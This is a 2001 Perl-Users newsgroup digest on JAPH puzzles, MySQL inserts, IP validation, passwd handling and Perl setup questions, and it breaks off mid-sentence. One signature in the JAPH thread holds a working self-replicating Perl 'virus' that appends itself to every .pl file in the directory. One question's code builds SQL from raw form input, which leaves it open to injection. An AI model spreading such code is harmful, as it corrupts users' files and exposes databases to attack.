[18066] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 226 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Tue Feb 6 18:11:10 2001

Date: Tue, 6 Feb 2001 15:10:30 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <981501030-v10-i226@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Tue, 6 Feb 2001     Volume: 10 Number: 226

Today's topics:
    Re: Is scalar a float, int or string? (Rudolf Polzer)
    Re: Is scalar a float, int or string? (Rudolf Polzer)
    Re: Is scalar a float, int or string? <thoren@southern-division.com>
    Re: JAPH <mischief@velma.motion.net>
    Re: JAPH (Rudolf Polzer)
    Re: JAPH <amonotod@netscape.net>
        Mysql and Perl multiple insert? <vivekvp@spliced.com>
    Re: Mysql and Perl multiple insert? <greg2@surfaid.org>
    Re: Need Help Checking IP Address Syntax w/ PERL? <joelwebb@usa.net>
    Re: Need Help Checking IP Address Syntax w/ PERL? <joelwebb@usa.net>
    Re: Need Help Checking IP Address Syntax w/ PERL? (Rudolf Polzer)
    Re: newbie - grep non-used uid from passwd (Richard J. Rauenzahn)
    Re: newbie - grep non-used uid from passwd (Richard J. Rauenzahn)
        non-english plurals & possessives <jezebel_cries@my-deja.com>
    Re: Params by .shtml <sorinvc@utdallas.edu>
    Re: Passwd and Shadow <stuart@zerostate.co.uk>
    Re: perl -V error edis9@my-deja.com
    Re: perl -V error aramis1631@my-deja.com
        Perl for the Fortran programmer <Mike.Prager@noaa.gov>
    Re: Perl for the Fortran programmer (Matthew C Roberts)
        Perl: C like scripting language ported from unix <bcaligari@my-deja.com>
    Re: Perl: C like scripting language ported from unix <elijah@workspot.net>
    Re: POSIX::strftime() error under RH7, perl 5.6.0, POSI <dontspamme@awdang.com>
        round not rounding as in the FAQ <rturner@lincap.com>
    Re: round not rounding as in the FAQ <DNess@Home.Com>
    Re: round not rounding as in the FAQ aramis1631@my-deja.com
    Re: round not rounding as in the FAQ (John Joseph Trammell)
    Re: subwin in curses.. <dorsettest@uk.insight.com>
    Re: This is driving me nuts and I need a guru (Richard J. Rauenzahn)
    Re: This is driving me nuts and I need a guru <jwgws@hotZEROSPAMmail.com>
        unidentified reference <jhall@ifxonline.com>
        Untangling NT Logon Scripts <i.know.nothing@mindless.com>
        Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Tue, 6 Feb 2001 18:43:00 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: Is scalar a float, int or string?
Message-Id: <slrn980dt4.3no.rpolzer@rebounce.rpolzer-lx>

Abigail <abigail@foad.org> schrieb Folgendes:
> Rudolf Polzer (rpolzer@web.de) wrote on MMDCCXVI September MCMXCIII in
> <URL:news:slrn9806h6.21u.rpolzer@rebounce.rpolzer-lx>:
> () > -- 
> () > @P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub 
> () > @p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^o
> () > ($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/
> () > close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;pri
> () 
> () Are there ANY real JAPH scripts? Either they are very easy to read (like
> () yours)
> 
> 
> Oh, easy to read? Care to explain the about Japh, without peeking in
> the long explaination on the authors website?
> 
> It took me a long time to unravel this one, and I didn't get all the
> details until after I read mjds page.

You have just to know IPC and make a newline after every
command-terminator ; and such characters and do the decoding of @P by
hand.

-- 
$p=q;.;;$_=<<'learn.to/quote';s/./pack"C",9^unpack"C",$&/gem;eval;'RP'
-u""2of{!zye`}&&%+khza)*)'{'d')'$'{'o')'&'Ug'''khza)*)'e'f'n'f'|'}'UgU
C|z})b`mm`gn.g.hgf}al{)'Y'l'{'e)ahjbl{Ug+ r-V)lx-y//zelly)8'9uuy{`g}2t
learn.to/quote


------------------------------

Date: Tue, 6 Feb 2001 18:48:10 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: Is scalar a float, int or string?
Message-Id: <slrn980e6q.3no.rpolzer@rebounce.rpolzer-lx>

Thoren Johne <thoren@southern-division.com> schrieb Folgendes:
> In article <slrn9806h6.21u.rpolzer@rebounce.rpolzer-lx>, Rudolf Polzer 
> aka rpolzer@web.de says...
> > Are there ANY real JAPH scripts? Either they are very easy to read (like
> > yours) or use lame encryption and therefore cannot do very much (like
> > mine).
> 
> what about
> 
> eval('+qjmw!:wqv"C/kplavyVctj&Aacke`\l "I &8%im_"'^(1x42)^((((((('j'.'2'x
> 5).'a'.'3'x5).'p'.'5'x5).'h'.'7'x5).'8'.'11'x2).'#'.'13'x2).'X'.'17'x2));

decode by hand (ASCII table), then lame. But the string^string trick is
good.

> or

> print(eval(reverse'88.53.65.23.23.23.23.23.01.411.101.701.99.79.27.23.801
> .411.101.08.23.411.101.401.611.111.011.56.23.611.511.711.47'))=>=>=>=>=>;

decode by hand (ASCII table) and read.

> or (see sig)

That is a much better one. Self-opening is good. (what about
self-modification?)

-- 
$p=q;.;;$_=<<'learn.to/quote';s/./pack"C",9^unpack"C",$&/gem;eval;'RP'
-u""2of{!zye`}&&%+khza)*)'{'d')'$'{'o')'&'Ug'''khza)*)'e'f'n'f'|'}'UgU
C|z})b`mm`gn.g.hgf}al{)'Y'l'{'e)ahjbl{Ug+ r-V)lx-y//zelly)8'9uuy{`g}2t
learn.to/quote


------------------------------

Date: Tue, 6 Feb 2001 22:03:37 +0100
From: Thoren Johne <thoren@southern-division.com>
Subject: Re: Is scalar a float, int or string?
Message-Id: <MPG.14ea84ac10ae579e989852@news.btx.dtag.de>

In article <slrn980e6q.3no.rpolzer@rebounce.rpolzer-lx>, Rudolf Polzer 
aka rpolzer@web.de says...
> Thoren Johne <thoren@southern-division.com> schrieb Folgendes:
> > In article <slrn9806h6.21u.rpolzer@rebounce.rpolzer-lx>, Rudolf Polzer 
> > aka rpolzer@web.de says...
> > > Are there ANY real JAPH scripts? Either they are very easy to read (like
> > > yours) or use lame encryption and therefore cannot do very much (like
> > > mine).
> > 
> > what about
> > 
> > eval('+qjmw!:wqv"C/kplavyVctj&Aacke`\l "I &8%im_"'^(1x42)^((((((('j'.'2'x
> > 5).'a'.'3'x5).'p'.'5'x5).'h'.'7'x5).'8'.'11'x2).'#'.'13'x2).'X'.'17'x2));
> 
> decode by hand (ASCII table), then lame. But the string^string trick is
> good.

it's lame at all. but i'd like you to make it printing *your* name - just 
to see if you *wirklich* got it.

> > print(eval(reverse'88.53.65.23.23.23.23.23.01.411.101.701.99.79.27.23.801
> > .411.101.08.23.411.101.401.611.111.011.56.23.611.511.711.47'))=>=>=>=>=>;
> 
> decode by hand (ASCII table) and read.

this one is inspired by one of abigail's. the thing is not the 'decoding' 
- tell me why it works at all.

> > open(0x666^101620,$0)=>($_=eval(reverse('isx*)]?n\[(},2{.)h(},5{.)P(},7{.
> > ?)?Ca(},42{.)j(*rq')))=>print((uc(reverse(goto=><101010>))=~/$_/)=>'8#X')
>
> That is a much better one. Self-opening is good. (what about
> self-modification?)

i think you miss encoding/decoding with coding/decoding ;)
 
-- 
# Thoren Johne - 8#X - thoren@southern-division.com
# Southern Division Classic Bikes - www.southern-division.com
open(0x666^101620,$0)=>($_=eval(reverse('isx*)]?n\[(},2{.)h(},5{.)P(},7{.
?)?Ca(},42{.)j(*rq')))=>print((uc(reverse(goto=><101010>))=~/$_/)=>'8#X')


------------------------------

Date: Tue, 06 Feb 2001 20:36:36 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: JAPH
Message-Id: <t80o2kejhmnf5a@corp.supernews.com>

Godzilla! <godzilla@stomp.stomp.tokyo> wrote:
> Chris Stith wrote:
>  
>> amonotod wrote:
>> > Godzilla! wrote:

> (snipped ignorance, hatred and Ad Hominem)

>> Agreed. .sig blocks have been around a while. A JAPH has to
>> reproduce the string 'Just another Perl Hacker' or something
>> very similar. If it's a .sig that's not a JAPH, just call it
>> a .sig so people don't jump into terminology wars, please. ;)

> My presumption is you boys actually expect this girl
> to genuflect before you, as always. Not a chance.

You presume too much. 

> Producing a stereotypical Just Another Perl Hacker
> is so mundane, so unimaginative and oh so very boring.
> This is an inactivity best left to Perl 5 Cargo Cultists.

I'm not saying what you did is less impressive than a
standard JAPH, nor that it's wrong in its behavior for
not printing the JAPH's message. I merely stated that
you will get people arguing (as amonotod did) that it's
not, strictly speaking, a JAPH as the subject suggests,
because it doesn't fit the definition. It's just as
interesting to do a non-JAPH signature that does something
unusual as it is to make a JAPH. A non-JAPH signature just
isn't a JAPH.

> Your comments are self-contradictory. Duh?

How?

*feeds the troll*

Chris

-- 
Christopher E. Stith

If they can get you asking the wrong questions, they don't
have to worry about the answers.
  -- Thomas Pynchon, Gravity's Rainbow



------------------------------

Date: Tue, 6 Feb 2001 22:00:44 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: JAPH
Message-Id: <slrn980pfs.4qd.rpolzer@rebounce.rpolzer-lx>

Godzilla! <godzilla@stomp.stomp.tokyo> schrieb Folgendes:
> My presumption is you boys actually expect this girl
> to genuflect before you, as always. Not a chance.
> 
> Producing a stereotypical Just Another Perl Hacker
> is so mundane, so unimaginative and oh so very boring.
> This is an inactivity best left to Perl 5 Cargo Cultists.
> 
> Your comments are self-contradictory. Duh?

What it so good about your virus? I have posted a smaller one here. The
second and third lines are self-replicating, but I will make it
strict-proof soon (not too hard since only $x has to be declared; I
changed it here (untested).

-- 
#!/usr/bin/perl
my$x=q{$x="\n".'$x=q{'.$x.'};eval$x;'."\n";for(<*.pl>){open X,">>$_";print
X$x;close X;}print scalar reverse"\nRP!suriv lreP rehtona tsuJ\n"};eval$x;
######################### http://learn.to/quote/ #########################


------------------------------

Date: Tue, 06 Feb 2001 21:24:49 GMT
From: amonotod <amonotod@netscape.net>
Subject: Re: JAPH
Message-Id: <95pq2k$se2$1@nnrp1.deja.com>

In article <t80o2kejhmnf5a@corp.supernews.com>,
  Chris Stith <mischief@velma.motion.net> wrote:
> not printing the JAPH's message. I merely stated that
> you will get people arguing (as amonotod did) that it's
> not, strictly speaking, a JAPH as the subject suggests,
Oh, I wouldn't say I was arguing with moronzilla.  I was just pointing
out that moronzilla was wrong. Again.

> *feeds the troll*
>
> Chris

Yeah, me too...

amonotod

--
    `\|||/                     amonotod@
      (@@)                     netscape.net
  ooO_(_)_Ooo________________________________
  _____|_____|_____|_____|_____|_____|_____|_____|


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 06 Feb 2001 19:55:14 GMT
From: vivekvp <vivekvp@spliced.com>
Subject: Mysql and Perl multiple insert?
Message-Id: <95pkqo$n3e$1@nnrp1.deja.com>



Hello,

I am trying to insert data from form to an sql database.
The syntax for an insert with mysql is INSERT INTO <table>
(field1),field2),(field3) VALUES (data1,data2,data3)


I have split all the table names and values then done the below:
but it only inserts the first value.  I suspect the all the data is not
going across from the $names portion.

foreach $pair (@pairs)
{
        ($name, $value) = split(/=/, $pair);
        print"<br> name: $name, value: $value \n";
        $value =~ tr/+/ /;
        $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
        $FORM{$name} = $value;
                if ($FORM{$name} eq "") { $value eq "0"; }
        $row=$dbh->do("INSERT INTO wwinfo ($name) VALUES ($value)")||
die
 "Error on insert : $DBI::errstr";
        print "<BR>";
        }

Any help?

V


--
He who fights and runs away, lives to run another day!


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 06 Feb 2001 22:04:22 +0000
From: Greg Griffiths <greg2@surfaid.org>
To: vivekvp <vivekvp@spliced.com>
Subject: Re: Mysql and Perl multiple insert?
Message-Id: <3A8074E6.13FD0FCF@surfaid.org>

Your syntax should be something like :

INSERT INTO mytable (col1,col2,col3) VALUES (value1,value2,value3)

ensuring that each value is defined correctly - quotes for stings, date
handling etc. It is also worth printing the SQL statement before you run it
so that you can check it for errors as well.

vivekvp wrote:

> Hello,
>
> I am trying to insert data from form to an sql database.
> The syntax for an insert with mysql is INSERT INTO <table>
> (field1),field2),(field3) VALUES (data1,data2,data3)
>
> I have split all the table names and values then done the below:
> but it only inserts the first value.  I suspect the all the data is not
> going across from the $names portion.
>
> foreach $pair (@pairs)
> {
>         ($name, $value) = split(/=/, $pair);
>         print"<br> name: $name, value: $value \n";
>         $value =~ tr/+/ /;
>         $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
>         $FORM{$name} = $value;
>                 if ($FORM{$name} eq "") { $value eq "0"; }
>         $row=$dbh->do("INSERT INTO wwinfo ($name) VALUES ($value)")||
> die
>  "Error on insert : $DBI::errstr";
>         print "<BR>";
>         }
>
> Any help?
>
> V
>
> --
> He who fights and runs away, lives to run another day!
>
> Sent via Deja.com
> http://www.deja.com/



------------------------------

Date: Tue, 06 Feb 2001 19:00:44 GMT
From: webbgroup <joelwebb@usa.net>
Subject: Re: Need Help Checking IP Address Syntax w/ PERL?
Message-Id: <95phkl$jhn$1@nnrp1.deja.com>


>
> my @nums = split /./, $ip;
> die "wrong addr"
>  unless @nums == 4;
> for (@nums)
> {
>  die "wrong addr"
>   if ($_ != $_ & 255);	# checks for too big/too small numbers
>  die "wrong addr"
>   if ($_ !~ /^\d+$/);	# checks for non-digits
> }
>

I will try this, but can you explain the example down below a little
more??
What is socket??

> BTW: you could also use Socket and try
>
> $ip = inet_ntoa ($ip);
> die "invalid address"
>  unless $ip;
> $ip = inet_aton ($ip);
>
> This also resolves hostnames and removes leading zeroes.
>
> --
> $p=q;.;;$_=<<'learn.to/quote';s/./pack"C",9^unpack"C",$&/gem;eval;'RP'
> -u""2of{!zye`}&&%+khza)*)'{'d')'$'{'o')'&'Ug'''khza)*)'e'f'n'f'|'}'UgU
> C|z})b`mm`gn.g.hgf}al{)'Y'l'{'e)ahjbl{Ug+ r-V)lx-y//zelly)8'9uuy{`g}2t
> learn.to/quote
>

--
The box said "Install Win95 or better, so I installed Linux"
www.the-webbgroup.com


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 06 Feb 2001 19:11:14 GMT
From: webbgroup <joelwebb@usa.net>
Subject: Re: Need Help Checking IP Address Syntax w/ PERL?
Message-Id: <95pi89$kb4$1@nnrp1.deja.com>


> You don't even seem to think that "127.0.0.1" is a valid IP address.

My test isn't going to test the loopback address.


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 6 Feb 2001 21:40:40 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: Need Help Checking IP Address Syntax w/ PERL?
Message-Id: <slrn980oa8.4h2.rpolzer@rebounce.rpolzer-lx>

webbgroup <joelwebb@usa.net> schrieb Folgendes:
> 
> > You don't even seem to think that "127.0.0.1" is a valid IP address.
> 
> My test isn't going to test the loopback address.

And what about 192.168.0.1? 4.1.1.1?

-- 
$p=q;.;;$_=<<'learn.to/quote';s/./pack"C",9^unpack"C",$&/gem;eval;'RP'
-u""2of{!zye`}&&%+khza)*)'{'d')'$'{'o')'&'Ug'''khza)*)'e'f'n'f'|'}'UgU
C|z})b`mm`gn.g.hgf}al{)'Y'l'{'e)ahjbl{Ug+ r-V)lx-y//zelly)8'9uuy{`g}2t
learn.to/quote


------------------------------

Date: 6 Feb 2001 18:42:06 GMT
From: nospam@hairball.cup.hp.com (Richard J. Rauenzahn)
Subject: Re: newbie - grep non-used uid from passwd
Message-Id: <981484925.71922@hpvablab.cup.hp.com>

jimjim123@my-deja.com writes:
>
>> Is possible to grep from my /etc/passwd the 1st non-used uid in
>> range from 100 to 999?
>>
>> ex:
>> user1:x:100:100:....
>> user2:x:101:100:....
>> user3:x:102:100:....
>> user4:x:106:100:....
>> user5:x:107:100:....
>> user6:x:108:100:....
>>
>> In this example is 1st non-used uid '103' ...
>
>What you could do is grab each uid from the /etc/passwd into a list or
>array with split, then sort the list/array.  Then, step thru the list
>until the current element does not equal the last element + 1....
>
>That's kinda easy, but kinda processor intensive.  I'd be keen to see a
>more elegant/less processor intensive solution.
>
>Cheers!

[post reformatted]

Please don't top-post/jeopardy quote.  You'll annoy the regulars.  See
http://www.uwasa.fi/~ts/http/quote.html if you don't know those terms.

If you'd like to trade processor time for memory, you can avoid sort by
just indexing into the array and looking for the first undefined
element.

Which is more efficient depends on the number of existing ID's, and the
number of holes, as well as the range we're looking at.

#!/usr/bin/perl -w
use strict;

my @ids;

while(<DATA>) {
   $_ = (split(/:/, $_))[2];
   $ids[$_] = 1 if($_ > 99 && $_ < 1000);
}

for(my $i = 100; $i < 1000; $i++) {
   print("$i\n"), last unless(defined $ids[$i]);
}

__DATA__
user1:x:100:100:....
user2:x:101:100:....
user3:x:102:100:....
user4:x:106:100:....
user5:x:107:100:....
user6:x:108:100:....

-- 
Rich Rauenzahn ----------+xrrauenza@cup.hp.comx+ Hewlett-Packard Company
Technical Consultant     | I speak for me,     |   19055 Pruneridge Ave. 
Development Alliances Lab|            *not* HP |                MS 46TU2
ESPD / E-Serv. Partner Division +--------------+---- Cupertino, CA 95014


------------------------------

Date: 6 Feb 2001 19:04:33 GMT
From: nospam@hairball.cup.hp.com (Richard J. Rauenzahn)
Subject: Re: newbie - grep non-used uid from passwd
Message-Id: <981486273.12960@hpvablab.cup.hp.com>

wyzelli@yahoo.com (Wyzelli) writes:
>
>@uids = sort @uids; # ensure uids are sorted
>

This works when all of the UID's are the same string length, but
remember that sort defaults to a lexical sort.  You really want 'sort {
$a <=> $b } @uids'.

>Note that I changed the order of the sample data to ensure the sort was needed.  
>If you know your data is always in numeric order the sort may not be so 
>necessary, but I think better safe than sorry.

My /etc/passwd is usually not in numerical order.  =-)

Rich
-- 
Rich Rauenzahn ----------+xrrauenza@cup.hp.comx+ Hewlett-Packard Company
Technical Consultant     | I speak for me,     |   19055 Pruneridge Ave. 
Development Alliances Lab|            *not* HP |                MS 46TU2
ESPD / E-Serv. Partner Division +--------------+---- Cupertino, CA 95014


------------------------------

Date: Tue, 06 Feb 2001 19:04:39 GMT
From: Jezebel <jezebel_cries@my-deja.com>
Subject: non-english plurals & possessives
Message-Id: <95phrv$js3$1@nnrp1.deja.com>

I'm looking for a perl implementation of a non-english pluralization
algorithm, something along the lines of Lingua::EN:Inflect... but for
western european languages like Spanish, French & Danish. Does anyone
know of something like this freely available?

Thanks in advance,

Jez


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 6 Feb 2001 14:15:23 -0600
From: Sorin Voicu-Comendant <sorinvc@utdallas.edu>
To: Punches <punches@zlob.net.ru>
Subject: Re: Params by .shtml
Message-Id: <Pine.GSO.4.21.0102061409220.4053-100000@apache.utdallas.edu>

All you have to do is use GET in your FORM tag (i.e., <FORM
METHOD="GET" ACTION="http://path/to/your/script">).

When you use GET the input to the form is appended to the URL.

Hope this helps,
Sorin.

***SOLI DEO GLORIA***

On Tue, 6 Feb 2001, Punches wrote:

#How to pass parametrs to perl-script using shtml-document?
#
#It must look like this:
#
#http://coolsite.com/main.shtml?param1=value1&param2=value2
#
#
#



------------------------------

Date: Tue, 6 Feb 2001 21:32:46 -0000
From: "Stuart Lowes" <stuart@zerostate.co.uk>
Subject: Re: Passwd and Shadow
Message-Id: <h2_f6.3740$ts2.105116@news2-win.server.ntlworld.com>

Hi,

I'd just to thank everyone for there contributions.  I just want to say I
understand or can get advice off people who understand there security
implications here but certainly everyones concern here has reiterated that
to me again. The people I can ask for advice are Unix adminstrators also but
this is my degree project and as such I try not to reply on them.

Certainly the security access to the server is vital and paramount
importance.  The use of SSL I know would help as well as restricting access
to the server to only machines on the local network.  It will also be
protected by a firewall.  I agree with everyones concerns that it is
probably too risky allowing access from the web.

I have looked into webmin and yes it isn't used by proper adminstrators.
The program I am writing isn't intended for administrators but for people
such as web designers. I can't help but think some of you have just burst
out laughing but I have been told this would be a useful program.  I think
if its designed very carefully it would be safe enough to be useful.

The software for my project is only intended as a prototype and if its any
good I would consider writing a proper interface for it not via the web with
the functionality found but in the time scale I have this is impossible.

I do understand that I'm not an expert by any means which is why I am asking
and trying to learn.  Thanks again for everyones contribution I shall
certainly take them seriously into my thinking.

Stuart

"Chris Stith" <mischief@velma.motion.net> wrote in message
news:t808vlmjeebdd2@corp.supernews.com...
> shawn@flurg.com wrote:
> > Hello,
>
> > I recently ran into this problem as well, creating a web based
> > interface to 'passwd' and the like. The first problem (running your
> > script as root) can be fixed by using suidperl. However, I would
> > caution against using this without taint checking (and some other
> > security measures like general sanity checking of /all/ input data)
> > turned on.
>
> Sure, do sanity checks. Make sure you don't allow root's password
> to be reset. Make sure you don't leave a blank password for any
> users. Make sure the passwords aren't dictionary words or a rot13
> of dictionary words. Make sure the passwords aren't more than 40%
> numeric digits. Make sure the passwords aren't more than 25% the
> same character. Make sure the passwords don't have more than two
> characters in a run of letters in alphabetical order.
>
> Make sure that whoever can change passwords from the web is
> someone you would otherwise properly authenticate. This means you
> at the very minimum must require a login form on every page and the
> use of SSL. Cookies are dangerous, as is the method of allowing
> an IP in use for a login page to be considered the same user several
> pages later.
>
> Be aware that Webmin exists, and that serious administrators don't
> use it. We have it on a handful of colocated servers for clients
> who don't mind paying us consulting rates to fix their screwups.
> We're paranoid enough about it that these servers are partitioned
> from the bulk of the colocated machines, all of which are partitioned
> away from our own network.
>
> > Additionally, I tried using the modules Linux::Passwd and the like. One
> > thing I found here was, any perl script that actually modifies any
> > system files is a Bad Thing(tm) and should be avoided at all costs, due
> > to the fact that they are prone to failure and are guaranteed to do so.
> > Instead, use system() or `` to use regular unix shell commands to due
> > the grunt work.
>
> I've never seen any evidence that all Perl programs are guaranteed to
> fail or even prone to failure. Nor have I seen this evidence for all
> Perl programs that work with system files. A carefully crafted and
> tested program in Perl is generally very stable and dependable.
>
> I still don't like the idea of administering my boxes from the web.
>
> Chris
> --
> Christopher E. Stith
>
> Where there's a will, there's a lawyer.
>




------------------------------

Date: Tue, 06 Feb 2001 20:20:01 GMT
From: edis9@my-deja.com
Subject: Re: perl -V error
Message-Id: <95pm8t$okf$1@nnrp1.deja.com>

In article <95pcu7$en0$1@nnrp1.deja.com>,
  aramis1631@my-deja.com wrote:
> In article <95p2c7$4f5$1@nnrp1.deja.com>,
>   edis9@my-deja.com wrote:
> > The output of the 'perl -V' command gives me the following error:
> >
> > Can't locate Config.pm in @INC.
> > BEGIN failed--compilation aborted.
> >
> > However, the 'perl -v' command gives me:
> >
> > This is perl, version 5.003 with EMBED
> >         built under solaris at Jun 27 1996 07:29:27
> >         + suidperl security patch
> >
> > Is it possible that perl was not installed correctly on this
server??
> > Can anyone decrypt this for me?
> >
> > Thanks!
>
> I suspect a permissions problem.
>
> Run
> perl -e 'print "@INC\n"';
>
> This will give you a list of all the directories perl is searching for
> Config.pm -- Config.pm is very likely installed in a subdirectory from
> wherever perl5 5.003 was installed named sun4-solaris. If you do an ls
> -l on that directory you will likely discover you do not have read or
> execute permissions. Get somebody to either change the group, add you
> to the group, or open the permissions up for you.
>
> Sent via Deja.com
> http://www.deja.com/
>

Thank you very much for your response!  I ran the command you suggested.
The path name & information which was returned does not even exist on
the server. How could perl possibly be running at all then? Is there
some way to change the @INC information, and if I do will it cause
programs currently using it to no longer work?

Thanks again!


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 06 Feb 2001 20:40:42 GMT
From: aramis1631@my-deja.com
Subject: Re: perl -V error
Message-Id: <95png8$pqt$1@nnrp1.deja.com>

In article <95pm8t$okf$1@nnrp1.deja.com>,
  edis9@my-deja.com wrote:
> In article <95pcu7$en0$1@nnrp1.deja.com>,
>   aramis1631@my-deja.com wrote:
> > In article <95p2c7$4f5$1@nnrp1.deja.com>,
> >   edis9@my-deja.com wrote:
> > > The output of the 'perl -V' command gives me the following error:
> > >
> > > Can't locate Config.pm in @INC.
> > > BEGIN failed--compilation aborted.
> > >
> > > However, the 'perl -v' command gives me:
> > >
> > > This is perl, version 5.003 with EMBED
> > >         built under solaris at Jun 27 1996 07:29:27
> > >         + suidperl security patch
> > >
> > > Is it possible that perl was not installed correctly on this
> server??
> > > Can anyone decrypt this for me?
> > >
> > > Thanks!
> >
> > I suspect a permissions problem.
> >
> > Run
> > perl -e 'print "@INC\n"';
> >
> > This will give you a list of all the directories perl is searching
for
> > Config.pm -- Config.pm is very likely installed in a subdirectory
from
> > wherever perl5 5.003 was installed named sun4-solaris. If you do an
ls
> > -l on that directory you will likely discover you do not have read
or
> > execute permissions. Get somebody to either change the group, add
you
> > to the group, or open the permissions up for you.
> >
> > Sent via Deja.com
> > http://www.deja.com/
> >
>
> Thank you very much for your response!  I ran the command you
suggested.
> The path name & information which was returned does not even exist on
> the server. How could perl possibly be running at all then? Is there
> some way to change the @INC information, and if I do will it cause
> programs currently using it to no longer work?

Uh, oh! Some of it must exist, or it would have returned a 'not found'
error. It may still be a question of permissions where whoever
installed it has hidden it and you can't see it. At any rate, we know
that you must have access to the base directory, or it would not have
executed. If some of the paths in @INC truly do not exist, this means
someone has removed them and you may need to reinstall. Truth is
installing is so easy, it may be your best bet. Your systems
administrator should install it for you (unless you are the SA).

Did you see in @INC a directory path ending in 'sun4-solaris'? The base
directory should be one up from there. That directory must be there, or
you wouldn't see the contents of @INC. Its no use to change the
contents of @INC if you can't find the sun4-solaris subdirectory and
it's contents including Config.pm


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 06 Feb 2001 15:09:00 -0500
From: Michael Prager <Mike.Prager@noaa.gov>
Subject: Perl for the Fortran programmer
Message-Id: <qol08tge2s7uccfcu1ih6f66iauvuhv9c3@4ax.com>

I am looking for a book to teach myself basic Perl.  Ideally, it
would be written for programmers, but not necessarily for
programmers of the C or related languages.  By that, I mean the
book should be concise, yet avoid explanations like "The foo
statement works the same as in C" or the general assumption that
something not explained will be as in C.

(Reviews of the book _Learning Perl_ at Amazon lead me to think
that it is concise, but that too much C knowledge is assumed.)

My anticipated uses of Perl are scripting and text processing;
Web-server use is unlikely.
-- 
Mike Prager
NOAA, Beaufort, NC
Standard disclaimers:
* Opinions expressed are personal and not represented otherwise.
* Any use of tradenames does not constitute a NOAA endorsement.


------------------------------

Date: Tue, 06 Feb 2001 20:56:13 GMT
From: iday_amspayDELETETHIS@hotmail.com (Matthew C Roberts)
Subject: Re: Perl for the Fortran programmer
Message-Id: <3a8063b8.89141248@news.earthlink.net>

Mike
O'Reilly (Who else?) has two books on Perl: Learning Perl & Learning
Perl on Win32 systems. I have the latter & like it very much. The
former is also supposed to be quite good. I don't specifically know
whether it assumes much C knowledge, but since I can only write code
in F95 & Matlab (a.k.a. F95 for Dummies ;-) ) I think I'm on safe
ground in saying that any presumed knowledge is really minimal. I'd
highly recommend the books. Also, you can usually find 'em in any
Barnes & Noble, though I'm not sure where the closest B&N to Beaufort
is, unless one got blown up there from Wilmington last fall. 

Anyway, my $0.02 is that Learning Perl for Win32 is a really good
book, and I've been told that Learning Perl is just as good, only more
UNIX-oriented.

Matthew C Roberts
NC State University

On Tue, 06 Feb 2001 15:09:00 -0500, Michael Prager
<Mike.Prager@noaa.gov> wrote:

>I am looking for a book to teach myself basic Perl.  Ideally, it
>would be written for programmers, but not necessarily for
>programmers of the C or related languages.  By that, I mean the
>book should be concise, yet avoid explanations like "The foo
>statement works the same as in C" or the general assumption that
>something not explained will be as in C.
>
>(Reviews of the book _Learning Perl_ at Amazon lead me to think
>that it is concise, but that too much C knowledge is assumed.)
>
>My anticipated uses of Perl are scripting and text processing;
>Web-server use is unlikely.
>-- 
>Mike Prager
>NOAA, Beaufort, NC
>Standard disclaimers:
>* Opinions expressed are personal and not represented otherwise.
>* Any use of tradenames does not constitute a NOAA endorsement.



------------------------------

Date: Tue, 06 Feb 2001 19:21:32 GMT
From: Brendon Caligari <bcaligari@my-deja.com>
Subject: Perl: C like scripting language ported from unix
Message-Id: <95pirg$kss$1@nnrp1.deja.com>



While browsing www.microsoft.com I came across The Windows 2000 Server
Resource Kit Tools contents page.

Amongst the valueable tools is Activeperl.  Following is the
description given:


http://www.microsoft.com/windows2000/library/resources/reskit/rktour/ser
ver/S_tools.asp

Utility - Activeperl.exe: Active Perl Scripting Language
Description - C-like scripting language ported from UNIX to Windows 2000

Brendon


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: 6 Feb 2001 20:10:23 GMT
From: Eli the Bearded <elijah@workspot.net>
Subject: Re: Perl: C like scripting language ported from unix
Message-Id: <eli$0102061508@qz.little-neck.ny.us>

In comp.lang.perl.misc, Brendon Caligari  <bcaligari@my-deja.com> wrote:
> http://www.microsoft.com/windows2000/library/resources/reskit/rktour/ser
> ver/S_tools.asp
> 
> Utility - Activeperl.exe: Active Perl Scripting Language
> Description - C-like scripting language ported from UNIX to Windows 2000

Well, it is more like C than, say, Modula-3 or Lisp.

Elijah
------
<reaction stimuli=modula3>barf</reaction><reaction stimuli=lisp>ugh</reaction>


------------------------------

Date: Tue, 06 Feb 2001 22:12:37 GMT
From: LimboStar <dontspamme@awdang.com>
Subject: Re: POSIX::strftime() error under RH7, perl 5.6.0, POSIX 1.03
Message-Id: <95pssb$vao$1@nnrp1.deja.com>


> Followup on this:
>
> She grabbed the 5.005_03 tarball and built
> it on the same machine and the problem was
> solved.  Is there a bug in 5.6.0?

Followup on this: I've confirmed the same issue on perl 5.6.0, built
for Linux-2.2c2.1-i686 (RedHat 6.2).  Can anyone else confirm this for
me?  Is this an already known bug, or am I just a raving lunatic?

The only thing perldelta says about strftime being broken is on
